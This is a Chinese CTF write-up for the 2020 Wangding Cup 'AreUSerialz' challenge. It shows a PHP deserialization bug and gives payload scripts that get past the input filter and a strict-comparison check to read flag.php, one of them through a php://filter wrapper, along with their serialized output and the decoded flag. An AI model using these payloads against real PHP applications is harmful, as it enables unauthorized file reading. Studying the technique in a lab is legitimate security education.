2020網鼎杯青龍組AreUSerialz

題目復現地址

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

PHP反序列化漏洞，思路很簡單隻需控制read()方法去讀取flag.php即可，有兩個需要繞過的地方

1. is_valid()函數，因爲屬性都是protected，而protected屬性在序列化後會出現不可見字符%00*%00，而%00字符的ASCII碼爲0無法繞過is_valid()
2. __destruct()析構方法，當op === "2"成立時op = "1"，而要調用read()需要op == "2"

php7.1+版本對屬性類型不敏感，所以本地序列化就直接用public可繞過，public屬性序列化不會出現不可見字符

這裏提一點，在網上看到很多師傅的文章還有別的繞過is_valid()方法，但是我這裏都沒復現成功，可能環境問題.......還是太菜了

__destrust()中使用的是op === "2"強比較，而process()方法中使用的是op == "2"弱比較，這樣就可以使用弱類型繞過了

<?php 
class FileHandler{
	public $op = 2;
	public $filename = "./flag.php";
	public $content = "m0c1nu7";
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

$result = new FileHandler();
$res = serialize($result);
echo $res."\n";
var_dump(is_valid($res));
?>

PS C:\Users\Administrator\Desktop> php -f .\test.php
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";s:7:"m0c1nu7";}
bool(true)
PS C:\Users\Administrator\Desktop> 

也可以使用php僞協議去直接讀取flag.php

<?php 
class FileHandler{
	public $op = 2;
	public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
	public $content = "m0c1nu7";
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

$result = new FileHandler();
$res = serialize($result);
echo $res."\n";
var_dump(is_valid($res));

?>

PS C:\Users\Administrator\Desktop> php -f .\test.php
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:7:"m0c1nu7";}
bool(true)
PS C:\Users\Administrator\Desktop>
PS C:\Users\Administrator\Desktop>
PS C:\Users\Administrator\Desktop>
PS C:\Users\Administrator\Desktop> php -r "echo base64_decode('PD9waHAgJGZsYWc9J2ZsYWd7ZWNiNjcyNmYtNDdhNi00Njg4LTlhOTAtMWZiODZmZGE0NTQwfSc7Cg==');"
<?php $flag='flag{ecb6726f-47a6-4688-9a90-1fb86fda4540}';
PS C:\Users\Administrator\Desktop>  

可以看到上述我們都沒有考慮到flag.php的路徑問題，都是使用相對路徑去讀取flag.php，這裏能成功也是因爲我們使用的復現平臺環境是BUU的，和比賽的時候還是有區別的，比賽的環境還是要靠讀取系統配置文件、容器配置文件來猜flag.php的絕對路徑